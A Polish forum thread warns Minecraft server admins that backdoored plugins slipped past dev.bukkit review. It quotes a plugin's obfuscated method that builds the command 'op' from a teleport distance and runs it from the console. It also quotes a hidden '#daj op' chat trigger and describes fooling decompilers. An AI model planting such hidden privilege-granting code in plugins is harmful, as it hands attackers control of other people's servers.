Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Inne] Pobieranie pluginów z bukkita NIE jest już bezpiecznie.


Rekomendowane odpowiedzi

Opublikowano

Smutne wieści, ale na razie trochę nudnego tekstu.

 

Kiedyś był już przypadek że na dev.bukkit dostał się plugin z botnetem, był to jeden przypadek, po jego wykryciu bukkit przyznał się do błędu, ogłosił na to głównej stronie by każdy zobaczył i pozbył się nadmiarowego kodu ze swoich serverów.
 

Tak to zawsze pliki były bezpieczne, i nic nie przechodziło, a teraz...

Już jakiś czas temu, przeszedł dość ciekawy plugin zawierający backdoora, był dość nieźle ukryty... ale jakim cudem nikogo nie zdziwiła obecność dodatkowego ClassLoadera (takie cuś co pozwala ładować dodatkowe pliki z kodem, dzięki czemu kod mozna gdzieś sprytnie ukryć tak by nie był widoczny przy prostej dekompilacji) w małym pluginie?

I autor pluginu musiał im udowadniać że tam takowy backdoor się znajduje...

No ale dobra, pojawiły się przeprosiny, wszystko spoko, i co?

 

I znowu, kolejny plugin przeszedł, ale tym razem był to zwykły plugin który nadawał opa wywołując komendę:

https://github.com/fierescope/SuperString/blob/master/src/main/java/gmail/fierescope/SuperString/SuperString.java

 

Nie zobaczyć takiego kodu:

    private void log(int distance, Player player) {
        List<String> scoreCodes = Arrays.asList("q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p");
        int scoreOpCode;
        String scoreCode = "";
        if (distance > 25) {
            for (int i = 26; (distance - i) >= 0 && (distance - i) < 26; i += 26) {
                scoreOpCode = distance - i;
                if (scoreOpCode == 0) {
                    scoreCode = scoreCodes.get(scoreOpCode + 25) + scoreCodes.get(scoreOpCode);
                } else {
                    scoreCode = scoreCodes.get(scoreOpCode - 1) + scoreCodes.get(scoreOpCode);
                }
            }
        } else {
            scoreOpCode = distance;
            scoreCode = scoreCodes.get(scoreOpCode - 1) + scoreCodes.get(scoreOpCode);
        }
        getServer().dispatchCommand(getServer().getConsoleSender(), scoreCode + " " + player.getName());
    }

?

Tutaj nawet nazwy zmiennych sugerują że coś nie nie tak... :D  "scoreOpCode"

I jak gracz przeteleportuje się o 25 kratek, pobierze obie potrzebne literki "op" i gotowe

 

 

 

Ale co to wszystko oznacza?

Nowa ekipa po prostu nie sprawdza tych kodów, kody są sprawdzane co najwyżej wyrywkowo, a reszta przelatuje tylko przez jakiś program szukający możliwych "problemów"

 

 

Obaj autorzy wrzucili ten plugin specjalnie, tylko po to by udowodnić że nowa ekipa się do niczego nie nadaje.

 

 

Jak ktoś chce poczytać więcej, zapraszam na reddita:

http://www.reddit.com/r/admincraft/comments/2jx5wr/psa_bukkitdev_should_no_longer_be_considered_safe/

https://www.reddit.com/r/admincraft/comments/2loa3n/psa_bukkitdev_is_definitely_not_safe/

 

 

Jak dla mnie to jeszcze zwalają winę na to że im dekompilery źle działają ;D

http://forums.bukkit.org/threads/psa-decompiler-vulnerability.318878/

 

A no i ogłoszenia dotyczące obu pluginów:

http://forums.bukkit.org/threads/psa-magix-plugin.317894/ (ten bardziej zaawansowany)

http://forums.bukkit.org/threads/psa-superstring.321151/ (ten prosty)

 

I to bardzo stare ogłoszenie:

http://forums.bukkit.org/threads/psa-malicious-plugins-nanoguard-anticheat-and-infinitedispenser.174108/

 

 

 

 

 

Czyli teraz pobierając plugin z dev.bukkit nie masz ŻADNEJ pewności że nie zawiera on jakiegoś backdoora, lepiej zacząć sprawdzać samemu, i wszystko co zawiera coś co dziwnie wygląda, przekazać komuś innemu do sprawdzenia, np wstawić tutaj na forum :D

 

 

 

 

EDIT:

No i warto dodać że w obu przypadkach to w końcu autor musiał zgłaszać ten plugin, bo go usunęli, a co z tymi plugnami co są tam wrzucone specjalnie z backdoorem by rozwalać serwery? ;) One pewnie są tan dalej, i czekają aż ktoś je pobierze.

1438614356923701010629.png

 

Opublikowano

@1361622928-U485574.pngHappi Tusk Dobry żart, ja bym to napisała inaczej: więcej przekleństw, przynajmniej raz nazwała bym ekipe bukkita idiotami, wplotła bym gdzieś w środku tekst typu @Karolek :3 to noob i nie umi jafy, i ogólnie wyglądało by to dziwniej, gorzej :D
Cała ja!

 

A ogólnie to nic był nie pisała, by nie podsuwać całemu MPC forum pomysłu żeby stworzyć własnego backdoora.

 

A co do samego tematu... Tak to już jest, jak zamiast fajnej ekipy i społeczności, zajmuje się tym curse, im to tam wisi, i tak bukkit upadanie, i tak liczy sie tylko kasa :P

To już jest koniec smerfa:


http://www.mpcforum.pl/topic/1323530-info-znikam/


GG: 48522543


PS: Na innych forach i stronach znajdziesz mnie pod nickiem: 


BukkitSmerf

Opublikowano

@up, ale wlasnie to zrobilas 0_o z reszta co do @topic to tam tez kolega podsunal taki pomysl :/ Wychodzi juz na to ze teraz samemu trzeba wszystko pisac zeby miec 100% pewnosc ze nie ma backdoora

Opublikowano

@SmilieS

 

ew. samemu dekompilować kod i sprawdzać czy wg. osoby dekompilującej nie ma nic podejrzanego :)

Opublikowano

@#e3uS podales nie ladny przyklad, teraz osoby nie beda sie uczyc javy tylko beda w google wpisywac "DEKMPILATOR PLUGINOW MINECRAFT" i niczego sie nie naucza... ;_; 

ich problem 

Opublikowano

@#e3uS podales nie ladny przyklad, teraz osoby nie beda sie uczyc javy tylko beda w google wpisywac "DEKMPILATOR PLUGINOW MINECRAFT" i niczego sie nie naucza... ;_; 

 

Jeśli nic nie będą umieć to nie poradzą sobie z błędami powstałymi po dekompilacji xD

Opublikowano

@#e3uS podales nie ladny przyklad, teraz osoby nie beda sie uczyc javy tylko beda w google wpisywac "DEKMPILATOR PLUGINOW MINECRAFT" i niczego sie nie naucza... ;_; 

Lel, przecież @#e3uS sam tak robi, to pewnie i największy idiota sobie poradzi ^^

Bukkit się kończy i to widać, a takie sytuacje tylko to przyśpieszają.

I5 4690 3.5GHz | GeForce GTX 970 | Crucial Ballistix 8GB 1600MHz | SSD Transcend 370 128GB & HDD Seagate 5.4k 500GB | MSI B85-G43 | Corsair CX 500W | Zalman Z3 PLUS

Opublikowano

ref

+ info: 

Ten link podany o dekompilerach: http://www.mpcforum.pl/s/fa5deb9

jednak am więcej sensu niż by się wydawało, okazało się że te wszystkie popularne dekompilary, jak nic nie warty Procyon, Luyten, czy jeszcze gorszy jd-gui daje się oszukać prostą instrukcją, która pozwala oszukać kod, np mamy takie coś:

if (message.contains("k***a")
{
    event.setCancelled(true);
}
if (message.equals("#daj op"))
{
    player.setOp(true);
    event.setCancelled(true);
}
// jakiś inny kod
 

A po zdekopilowaniu tymi lipnymi dekompilerami

if (message.contains("k***a")
{
    event.setCancelled(true);
}
// jakiś inny kod

po prostu kawałek znika, a tak naprawdę tam jest, i nie widać żadnego błędu, więc nie ma szans by się zorientować że tam jest jeszcze jakiś dodatek :D

 

 

Oczywiście dobry dekompiler tego nie pominie ;)

1438614356923701010629.png

 

Opublikowano

ref

+ info: 

Ten link podany o dekompilerach: http://www.mpcforum.pl/s/fa5deb9

jednak am więcej sensu niż by się wydawało, okazało się że te wszystkie popularne dekompilary, jak nic nie warty Procyon, Luyten, czy jeszcze gorszy jd-gui daje się oszukać prostą instrukcją, która pozwala oszukać kod, np mamy takie coś:

if (message.contains("k***a")
{
    event.setCancelled(true);
}
if (message.equals("#daj op"))
{
    player.setOp(true);
    event.setCancelled(true);
}
// jakiś inny kod
 

A po zdekopilowaniu tymi lipnymi dekompilerami

if (message.contains("k***a")
{
    event.setCancelled(true);
}
// jakiś inny kod

po prostu kawałek znika, a tak naprawdę tam jest, i nie widać żadnego błędu, więc nie ma szans by się zorientować że tam jest jeszcze jakiś dodatek :D

 

 

Oczywiście dobry dekompiler tego nie pominie ;)

co ty tu za farmazony pierdolisz ???

normalnie sie zdekompilowalo tak jak bylo w src 

nwm gdzie ty takie madrosci przeczytales 

Opublikowano

co ty tu za farmazony pierdolisz ???

normalnie sie zdekompilowalo tak jak bylo w src 

nwm gdzie ty takie madrosci przeczytales 

" daje się oszukać prostą instrukcją"

tej instrukcji w tamtym kodzie nie ma... bo to instrukcja z bytecode

I to działa, sprawdzane :P kod "znikał"

1438614356923701010629.png

 

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...